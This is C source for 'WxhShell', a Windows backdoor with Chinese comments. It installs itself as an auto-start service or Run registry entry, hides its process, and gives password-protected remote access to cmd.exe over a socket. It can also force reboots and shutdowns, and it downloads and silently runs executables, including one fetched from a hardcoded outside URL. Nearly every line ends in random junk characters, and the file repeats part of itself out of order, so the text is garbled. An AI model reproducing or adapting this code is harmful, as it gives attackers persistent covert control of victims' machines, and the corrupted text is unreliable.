    if(Boot(SHUTDOWN)) jR\&2;T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "zR+}  
    else { f$9V_j-K+  
    closesocket(wsh); ?%(8RQ  
    ExitThread(0); Q/r9r*>z  
    } bl(rCbj(w  
    break; ;OTD1=  
    } ZffK];D  
  // 获取shell 4&~1|B{Z  
  case 's': { Zz= +?L  
    CmdShell(wsh); z#GZvB/z)  
    closesocket(wsh); Hb=4k)-/]  
    ExitThread(0); cD Z]r@AQ  
    break; [F%INl-sy  
  } n  !]_o  
  // 退出 dGf{d7D  
  case 'x': { G/\t<>O8o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )nJs9}( 0  
    CloseIt(wsh); ~\<Fq\.x  
    break; {e0cc1Up}  
    } v/\l  
  // 离开 :CNWHF4$  
  case 'q': { ZY+NKb_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q5YgKz?IC  
    closesocket(wsh); |Spy |,/  
    WSACleanup(); DY'D]*'7$  
    exit(1); ,ClGa2O  
    break; 0sto9n3  
        } _a"5[sG  
  } :84fd\It4  
  } f"q='B9_T\  
?@6N EfQf  
  // 提示信息 y[oc^Zuo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q>X#Aaib  
} ;S+*s'e  
  } +rfw)c'  
a,x-akZWf  
  return; F]@vmzr  
} _5EM<Ux  
W'eF | hu  
// shell模块句柄 j8WnXp_  
int CmdShell(SOCKET sock) \I1+J9Gl  
{ (e S4$$g  
STARTUPINFO si; v1<3y~'f  
ZeroMemory(&si,sizeof(si)); M%5qx,JQY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nAG2!2_8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zsc710_  
PROCESS_INFORMATION ProcessInfo; ( e6JI]tz{  
char cmdline[]="cmd"; 9^QiFgJy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }&Ngh4/  
  return 0; }p$>V,u  
} <xOXuve  
pca `nN!  
// 自身启动模式 <43O,Kx'Su  
int StartFromService(void) !E8y!|7$  
{ 3#`_t :"A  
typedef struct C|bnUN  
{ x>d,\{U  
  DWORD ExitStatus; EE(1;] d-  
  DWORD PebBaseAddress; O{SP4|0JV  
  DWORD AffinityMask; -61{ MMiA  
  DWORD BasePriority; nh"nSBRxk  
  ULONG UniqueProcessId; UUJbF$@;  
  ULONG InheritedFromUniqueProcessId; / CEnyE/  
}   PROCESS_BASIC_INFORMATION; 8+5# FC7  
#kjN!S*=  
PROCNTQSIP NtQueryInformationProcess; A-x; ai]  
AE? 0UVI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; / E}L%OvE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +XCLdf}dC  
d*$$E  
  HANDLE             hProcess; /#lhRNX  
  PROCESS_BASIC_INFORMATION pbi; T'B43Q  
]=!wMn**  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #N9^C@  
  if(NULL == hInst ) return 0; k#X~+}N^  
f]Z%,'1^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n4\UoKq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y:u7*%"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o.W:R Ux  
O?5uCh$H  
  if (!NtQueryInformationProcess) return 0; Cl#PYB{1Y  
~Gm<F .(+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  BC*62m  
  if(!hProcess) return 0; o~<Xc  
CC&opC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kqy d3Si>  
"`HkAW4GZa  
  CloseHandle(hProcess); k8IhQ{@  
sh;DCd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _W]R|kYl$'  
if(hProcess==NULL) return 0; E#}OIZ\S  
#0>??]&r  
HMODULE hMod; }#):ZPTs  
char procName[255]; YbAa@Sq@  
unsigned long cbNeeded; ;]c@%LX  
|2t g3m@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :0N} K}  
VZuluV  
  CloseHandle(hProcess); -i93  
(:Di/{i&r5  
if(strstr(procName,"services")) return 1; // 以服务启动 Rr#Zcs!G  
ZD!?mR+-  
  return 0; // 注册表启动 QL/I/EgqC  
} <8;SSdoKi  
!2L?8oP-z  
// 主模块 N~NUBEKcp  
int StartWxhshell(LPSTR lpCmdLine) t 7GK\B8:  
{ 1%Hc/N-  
  SOCKET wsl; jHjap:i`cI  
BOOL val=TRUE; ayF+2(vch)  
  int port=0; xb{G:v  
  struct sockaddr_in door; r+ v?~m!  
{<ms;Oi'  
  if(wscfg.ws_autoins) Install(); p1t qwV  
DR]=\HQ  
port=atoi(lpCmdLine); >D]g:t@v  
D!7-(3R  
if(port<=0) port=wscfg.ws_port; 6[+@#IWx  
@7S* ]  
  WSADATA data; ((0nJJjz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0b=1Ce+0q  
3Ye{a<ckK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _EPfeh;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;::]R'F[  
  door.sin_family = AF_INET; |m{u]9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @vyq?H$U;N  
  door.sin_port = htons(port); YoDL/  
ri.}G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { phCItN;  
closesocket(wsl); aF8'^xF  
return 1; B|WM;Y^  
} H@, h$$  
^mwS6WH6  
  if(listen(wsl,2) == INVALID_SOCKET) { M02 U,!di  
closesocket(wsl); Q Ev7k  
return 1; F/%M`?m"ie  
} 6LRvl6ik  
  Wxhshell(wsl); *Aqd["q  
  WSACleanup(); L(RI4d  
trx y3k;  
return 0; *jQ?(Tf  
(>.l kR  
} z] +&kNm  
x-nO; L-2p  
// 以NT服务方式启动 ^cDHC^Wm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j_3`J8WwF  
{ Rf4}((y7Y\  
DWORD   status = 0; XoNBq9Iu  
  DWORD   specificError = 0xfffffff; IL>VH`D  
wK]p`:3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {,+{,Ere  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8sus$:Ry  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _DouVv>  
  serviceStatus.dwWin32ExitCode     = 0; Q{[l1:  
  serviceStatus.dwServiceSpecificExitCode = 0; sHqa(ynK  
  serviceStatus.dwCheckPoint       = 0; G!T_X*^q2U  
  serviceStatus.dwWaitHint       = 0; ,>p1:pga  
/@w w"dmqU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y5{Vx{V"Q  
  if (hServiceStatusHandle==0) return; LWdA3%   
J?C#'2 /   
status = GetLastError(); n58yR -"  
  if (status!=NO_ERROR) fI v?HD:j  
{ Ce/l[v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8bJj3vr  
    serviceStatus.dwCheckPoint       = 0; % * k`z#b  
    serviceStatus.dwWaitHint       = 0; zq(4@S-TU  
    serviceStatus.dwWin32ExitCode     = status; *^oL$_Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z% DJ{!Hnh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @{>0v"@  
    return; !8e;3W  
  } -e4TqzRr  
1*GL;W~ix*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }el7@Gv  
  serviceStatus.dwCheckPoint       = 0; Xj9\:M-  
  serviceStatus.dwWaitHint       = 0; bWgRGJqt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X5pb9zRq  
} uG$*DeZti  
$35C1"  
// 处理NT服务事件,比如:启动、停止 )b?$ 4<X^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uv=a}U;  
{ N7u|< 0[  
switch(fdwControl) >[2;  
{  j iejs*  
case SERVICE_CONTROL_STOP: S6g_$ Q7  
  serviceStatus.dwWin32ExitCode = 0; h! Bg} B~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eDsB.^|l  
  serviceStatus.dwCheckPoint   = 0; B[3u,<opFU  
  serviceStatus.dwWaitHint     = 0; xtBu]I)%  
  { ?W>`skQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }K^v Ujl  
  } L} "bp  
  return; u69UUkG  
case SERVICE_CONTROL_PAUSE: {/j gB"9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #;[0:jU0  
  break; h/Yxm2  
case SERVICE_CONTROL_CONTINUE: kRjNz~g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uBK0+FLL@  
  break; ",xTgB3?V  
case SERVICE_CONTROL_INTERROGATE: f(G1xw]]@Y  
  break; c@2a)S8Y]  
}; G@KDRv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7B<,nKd  
} : *XAQb0  
RFLfvD<  
// 标准应用程序主函数 IH&0>a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -=cm7/X  
{ <+-=j  
n2 can  
// 获取操作系统版本 q9wObOS$  
OsIsNt=GetOsVer(); !1Hs;K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?fN6_x2e3  
's.e"F#  
  // 从命令行安装 m lxtey6H3  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y&1N*@YP  
3G[|4v?[<_  
  // 下载执行文件 tI@aRF=p]2  
if(wscfg.ws_downexe) { XzPOqZ`Nv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F$-fj "jC  
  WinExec(wscfg.ws_filenam,SW_HIDE); t.+)g-X  
} J'ZC5Xr  
#UE}JR3g  
if(!OsIsNt) { 'ieTt_1.G  
// 如果时win9x,隐藏进程并且设置为注册表启动 H C=ZcK'W  
HideProc(); 02tt.0go  
StartWxhshell(lpCmdLine); Wco2i m  
} 74ho=  
else 'A>?aUq]:  
  if(StartFromService()) t7xJ$^p[|K  
  // 以服务方式启动 D>8p: ^3g  
  StartServiceCtrlDispatcher(DispatchTable); == E8^jYJw  
else {i+ o'Lw  
  // 普通方式启动 s= ]NKJaQH  
  StartWxhshell(lpCmdLine); b*Q3j}cZ  
gV-*z}`U  
return 0; q1q 9W@H  
} gs3c1Qa3b  
}K={HW1>  
'pT13RFD  
b*(K;`9)B  
=========================================== 8Ji`wnkXe  
j^5YFUwsQg  
^r-d.1  
Qu1&$oO  
v)T# iw[  
cxQAp  
" B~^*@5#0|  
/{:XYeX  
#include <stdio.h>  B$6KI  
#include <string.h> E}KGZSj  
#include <windows.h> D+v?zQw  
#include <winsock2.h> 8 R%<~fq r  
#include <winsvc.h> SswcO9JCX3  
#include <urlmon.h> &TY74 w*  
Xy%||\P{)  
#pragma comment (lib, "Ws2_32.lib") {Ef.wlZ  
#pragma comment (lib, "urlmon.lib") ii_kgqT^  
ZG 0^O"B0  
#define MAX_USER   100 // 最大客户端连接数 6}m`_d?  
#define BUF_SOCK   200 // sock buffer =^GPQ_"  
#define KEY_BUFF   255 // 输入 buffer z\oTuW*B  
:'B(DzUR  
#define REBOOT     0   // 重启 SzIzQR93&  
#define SHUTDOWN   1   // 关机 Q 8Hl7__^  
PDPK|FU  
#define DEF_PORT   5000 // 监听端口 P))BS  
$m)gfI]9  
#define REG_LEN     16   // 注册表键长度 [.^ol6  
#define SVC_LEN     80   // NT服务名长度 &9^4- 5]  
Pc*lHoVL  
// 从dll定义API S't9F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .hu7JM+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9DJ&J{2W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =3c?W&:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S9Oz5_x  
Dm{Xd+Y  
// wxhshell配置信息 o5p{ O>D[z  
struct WSCFG { -N% V5 TN  
  int ws_port;         // 监听端口 hcj]T?  
  char ws_passstr[REG_LEN]; // 口令 ]:#=[ CH  
  int ws_autoins;       // 安装标记, 1=yes 0=no J/jkb3  
  char ws_regname[REG_LEN]; // 注册表键名 /6Q]f  
  char ws_svcname[REG_LEN]; // 服务名 )2RRa^=&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cz,QP'g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C 2nmSXV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {j9TzR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sWo}Xq#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QK?V^E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s2"`j-iQ  
b6 %m*~  
}; >vp4R`  
LT<2 n.S  
// default Wxhshell configuration >#$SaG!  
struct WSCFG wscfg={DEF_PORT, x;)I%c  
    "xuhuanlingzhe", e,epKtL  
    1, VS/M@y_./  
    "Wxhshell", ']TWWwj$  
    "Wxhshell", P4q5#r  
            "WxhShell Service", u+Ix''Fn#%  
    "Wrsky Windows CmdShell Service", 1R3,Z8j'  
    "Please Input Your Password: ", !DzeJWM|  
  1, #<< el;n  
  "http://www.wrsky.com/wxhshell.exe", L&DjNu`!9  
  "Wxhshell.exe" 9:4S[mz/hD  
    }; w.w{L=p:<"  
x)*Lu">  
// 消息定义模块 72d|Jbd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &RYdSXM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~*7$aj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @JXpD8jn  
char *msg_ws_ext="\n\rExit."; z'm}p  
char *msg_ws_end="\n\rQuit."; UP^8Yhdo  
char *msg_ws_boot="\n\rReboot..."; !{r2`d09n)  
char *msg_ws_poff="\n\rShutdown..."; @Suz-j(H  
char *msg_ws_down="\n\rSave to "; zawu(3?~)5  
 Rpgg :  
char *msg_ws_err="\n\rErr!"; !nSa4U,$w<  
char *msg_ws_ok="\n\rOK!"; 8j;Un]  
M i& ;1!bg  
char ExeFile[MAX_PATH]; ]B,tCBt  
int nUser = 0; ##6\~!P  
HANDLE handles[MAX_USER]; a$|U4Eqo  
int OsIsNt; k}v`UiGM  
>^~^#MT  
SERVICE_STATUS       serviceStatus; @w8} ]S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w2.] 3QAZ  
$U*eq [  
// 函数声明 llP V{  
int Install(void); _K9`o^g%PJ  
int Uninstall(void); /IWA U)A0  
int DownloadFile(char *sURL, SOCKET wsh); YK6LJv}  
int Boot(int flag); <4; nq~  
void HideProc(void); 04-_ K  
int GetOsVer(void); HpEd$+Mz  
int Wxhshell(SOCKET wsl); 9$\s v5  
void TalkWithClient(void *cs); g8N"-j&@  
int CmdShell(SOCKET sock); ksC_F8Q+  
int StartFromService(void); 6p4BsWPx  
int StartWxhshell(LPSTR lpCmdLine); 2.aCo, Kb;  
QcL@3QC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 20V~?xs~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zu,:}+niU  
`.MZ,Xhqi"  
// 数据结构和表定义 (U.Go/A#wE  
SERVICE_TABLE_ENTRY DispatchTable[] = K>DN6{hnV;  
{ Cq!eAc  
{wscfg.ws_svcname, NTServiceMain}, FE\E%_K'n7  
{NULL, NULL} =$J(]KPv!?  
}; 4CF;>b f~  
Ncz4LKzt  
// 自我安装 #@B"E2F  
int Install(void) \:4*h  
{ ^[7Mp  
  char svExeFile[MAX_PATH]; +a!3*G@N+  
  HKEY key; ]gq)%T]  
  strcpy(svExeFile,ExeFile);  Lto*L X  
&#2&V>pE  
// 如果是win9x系统,修改注册表设为自启动 fB3Jp~$  
if(!OsIsNt) { X%'z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "@&TC"YG0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W^[FWFUTY  
  RegCloseKey(key); Y/5M)AyJt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~o!- [  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vx$;wU Y  
  RegCloseKey(key); %Xd*2q4*  
  return 0; =:&xdphZ+  
    } .J75bX5  
  } b]]8Vs)'  
} aj`&ca8  
else { fs ufYIf  
8:{id>Mm^  
// 如果是NT以上系统,安装为系统服务 '(5GR I<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GM6, LzH  
if (schSCManager!=0) ELCNf   
{ 3%+ ~"4&  
  SC_HANDLE schService = CreateService "Au4&Fu  
  ( <IZt]P  
  schSCManager, \P.h;|u  
  wscfg.ws_svcname, !kE5]<H\  
  wscfg.ws_svcdisp, 5!F;|*vC8  
  SERVICE_ALL_ACCESS, cX-M9Cz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N]+6<  
  SERVICE_AUTO_START, ]lC%HlID  
  SERVICE_ERROR_NORMAL, '3b\d:hN  
  svExeFile, r"dIB@  
  NULL, ]W5*R07  
  NULL, UTkPA2x  
  NULL, LU:xmDv  
  NULL, ,R[$S"]!SH  
  NULL UGPDwgq\v  
  ); Vu5?;|^:  
  if (schService!=0) BD C DQ  
  { E@SFK=`  
  CloseServiceHandle(schService); =K`.$R  
  CloseServiceHandle(schSCManager); \1<'XVS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jo:Z  
  strcat(svExeFile,wscfg.ws_svcname); W"Ip]LJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >38>R0k35  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |R9Lben',  
  RegCloseKey(key); ~*iF`T6  
  return 0; LlX)xJ  
    } |C4fg6XDL  
  } Pzso^^g  
  CloseServiceHandle(schSCManager); d)AYY}pw  
} }:#WjH^  
} LL(xi )  
8S1@,O,  
return 1; Pp_ 4B  
} 0zr27ko  
A"JdG%t>.h  
// 自我卸载 fa/S!%}fO  
int Uninstall(void) Ooz ,?wU6  
{ ]UvB+M]Lv)  
  HKEY key; 6iU&9Z<%  
8o5[tl ?w  
if(!OsIsNt) { [{7#IZL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  _<S!tW  
  RegDeleteValue(key,wscfg.ws_regname); st RM *.  
  RegCloseKey(key); = 7y-o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yLC[-.H  
  RegDeleteValue(key,wscfg.ws_regname); |o5eG><  
  RegCloseKey(key); [inlxJD  
  return 0; >-MnB  
  } N!K%aH~O  
} T)mQ+&|  
} ?J:w,,4m  
else { <[db)r~c  
 vywB{%p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZexC3LD"  
if (schSCManager!=0) s/"bH3Ob9v  
{ H a!,9{T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M/<ypJ  
  if (schService!=0) z0}j7ns]  
  { <Q|\mUS6  
  if(DeleteService(schService)!=0) { wp?:@XM  
  CloseServiceHandle(schService); kd'b_D[$H  
  CloseServiceHandle(schSCManager); uFWA] ":is  
  return 0; s%D%c;.|  
  } # ?2*I2_  
  CloseServiceHandle(schService); s>>&3jfM  
  } (e7!p=D  
  CloseServiceHandle(schSCManager); d {!P c<  
} , /.@([C  
} Q#p)?:o/  
*wTX  
return 1; W3.[d->X  
} `yfZ{<  
0nwi5  
// 从指定url下载文件 /!H24[tnk1  
int DownloadFile(char *sURL, SOCKET wsh) y[ dB mTY  
{ Orq/38:4G  
  HRESULT hr; :=NXwY3~M  
char seps[]= "/"; JQM_96\  
char *token; _BewaI;w  
char *file; wo`.sB&T  
char myURL[MAX_PATH]; #<0Hvde  
char myFILE[MAX_PATH]; B[uyr)$  
x $LCLP#$H  
strcpy(myURL,sURL); e@h{Ns.1-  
  token=strtok(myURL,seps); Bq8#'K2i,  
  while(token!=NULL) xG sOnY;  
  { ~}_^$l8#-Q  
    file=token; *u$aItx  
  token=strtok(NULL,seps); *Dp&;,b  
  } %p}vX9U')  
puOtF YZ\  
GetCurrentDirectory(MAX_PATH,myFILE); o-8{C0>:  
strcat(myFILE, "\\"); gNZwD6GMe?  
strcat(myFILE, file); 3WwS+6R  
  send(wsh,myFILE,strlen(myFILE),0); >j?5?J"  
send(wsh,"...",3,0); ;dzy 5o3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !BoGSI  
  if(hr==S_OK) !`{?qQ[=  
return 0; XVs]Y'* x  
else tb&?BCp  
return 1; 9 /H~hEVK  
31G:[;g  
} +~"IF+T RH  
Exw d,2>  
// 系统电源模块 ,Q"'q0hM=  
int Boot(int flag) k[x-O?$O@  
{ K&[0`sH!  
  HANDLE hToken; )la3GT*1mS  
  TOKEN_PRIVILEGES tkp; RE t&QP  
x]7:MG$  
  if(OsIsNt) { :BxO6@>Xc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H1-DK+Q:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BwHJr(n  
    tkp.PrivilegeCount = 1; .B`$hxl*0c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,kJ'_mq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,l&?%H9q  
if(flag==REBOOT) {  P@O_MT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =i)%AnZ^9  
  return 0; \92M\S  
} %B@NW2ZQ[  
else { P`Zon  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u$JAjA  
  return 0; "Da 1BuX\  
} I "x'  
  } *8)?ZZMM  
  else { C1-U2@  
if(flag==REBOOT) { }%XB*pzQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?6 2zv[#  
  return 0; sPK]:i C  
} 1L <TzQ  
else { Xq1#rK(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |)7K(R)(=  
  return 0; `he# !"  
} Z.${WZW  
} @* hv|zjs  
XGZZKvp  
return 1; AON |b\?  
} ~?NCmU=3  
/o4_rzR?  
// win9x进程隐藏模块 j"jssbu}  
void HideProc(void) 0Px Hf*  
{ JlSqTfA  
yD<#Q\,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :Ou~?q%X  
  if ( hKernel != NULL ) 6@|!m'  
  { 91z=ou  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jZIT[HM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /[6wm1?!  
    FreeLibrary(hKernel); 'Ft81e)/  
  } XB'rh F8rl  
oN}\bK  
return; ~ T}D#}  
} E zcch1  
"*zDb|v  
// 获取操作系统版本 }zA|M9%E  
int GetOsVer(void) g(P7CX+y  
{ /,I?"&FWc  
  OSVERSIONINFO winfo; u4lM>(3Y}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *c#DB{N  
  GetVersionEx(&winfo); |e8A)xM]wC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (U5XB [r_P  
  return 1; ZvuY] =^3  
  else 5^uX!_ r`  
  return 0; 3~`\FuHHe  
} 3+>R%TX6i<  
rE*yT(:w  
// 客户端句柄模块 `_yksh3zL4  
int Wxhshell(SOCKET wsl) og$dv 23  
{ igOX0  
  SOCKET wsh; 0^{Tq0Ri[  
  struct sockaddr_in client; YEV;GFI1  
  DWORD myID; 86%k2~L  
q!&:y7O8  
  while(nUser<MAX_USER) tic3a1  
{ j&DlI_  
  int nSize=sizeof(client); kX V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jYU0zGpj  
  if(wsh==INVALID_SOCKET) return 1; Fz8& Jn!  
WA}'[h   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T72Li"00  
if(handles[nUser]==0) !T`g\za/  
  closesocket(wsh); =0e>'Iw2  
else ?o V.SG'  
  nUser++; <!dZ=9^^ 1  
  } Tx ?s?DwC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pe[huYE  
{{A=^rr%C  
  return 0; nkq{_;xp  
} :V8oWMY  
:TrP3wV _  
// 关闭 socket '\H & EJ'  
void CloseIt(SOCKET wsh) '1!%yKc0  
{ S%p,.0_  
closesocket(wsh); ^p4`o>  
nUser--; x^3K=l;N  
ExitThread(0); }f> 81[^  
} aQhT*OT{Q  
<mLU-'c@  
// 客户端请求句柄 v-$X1s  
void TalkWithClient(void *cs) !6.LSY,E  
{ (Vey]J  
^N}{M$  
  SOCKET wsh=(SOCKET)cs; 7<jr0)  
  char pwd[SVC_LEN]; !/2kJOSp  
  char cmd[KEY_BUFF]; (N}\Wft%  
char chr[1]; 2P57C;N8|  
int i,j; 7TX$  
R "W=V  
  while (nUser < MAX_USER) { ,DKW_F|  
]$K58C  
if(wscfg.ws_passstr) { -b%' K}.C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I-s$U T[p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e,vgD kI;  
  //ZeroMemory(pwd,KEY_BUFF); <O9WCl  
      i=0; :@~3wD[y  
  while(i<SVC_LEN) { _uh@fRyh  
@zR_[s  
  // 设置超时 };(2 na  
  fd_set FdRead; 5;{*mJ:F  
  struct timeval TimeOut; Wi)N/^;n  
  FD_ZERO(&FdRead); !H^R_GC  
  FD_SET(wsh,&FdRead); sN[q. M?  
  TimeOut.tv_sec=8; PClwGO8'&  
  TimeOut.tv_usec=0; f$nZogaQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ku v<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +DT tKj  
AxJf\B8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c1%ki%J#  
  pwd=chr[0]; <Dnv=)Rq  
  if(chr[0]==0xd || chr[0]==0xa) { #z}IW(u<  
  pwd=0; c_?!V  
  break; TGPdi5Eq  
  } iaJN~m\ M  
  i++; _#UhXXD  
    } z<"\I60Fe  
U,/9fzgd  
  // 如果是非法用户,关闭 socket kD+B8TrW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XK l3B=h  
} 9OF(UFgS  
(j}Wt8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y%rC\Ij/i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =>C3IR/  
[Az^i>iH  
while(1) { am WIA`n=  
Qa16x<Xlm  
  ZeroMemory(cmd,KEY_BUFF); 0w^awT<$6  
{-c[w&q  
      // 自动支持客户端 telnet标准   .Wyx#9  
  j=0; wCr+/" t  
  while(j<KEY_BUFF) { i V%tn{fc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (P:.@P~  
  cmd[j]=chr[0]; Jxb+NPUB  
  if(chr[0]==0xa || chr[0]==0xd) { ~f2-%~  
  cmd[j]=0; YsjTC$Tx,  
  break; wmv/ ?g  
  } Vzrp9&loY  
  j++; vn5]+-I  
    } EJrQ9"x&n  
Q5v_^O<!  
  // 下载文件 bF3}L=z  
  if(strstr(cmd,"http://")) { o2(*5*b!@e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @6DV?VL  
  if(DownloadFile(cmd,wsh)) pzBd(d^*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^nL_*+V`f  
  else wmS:*U2sc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); } SA/,4/9  
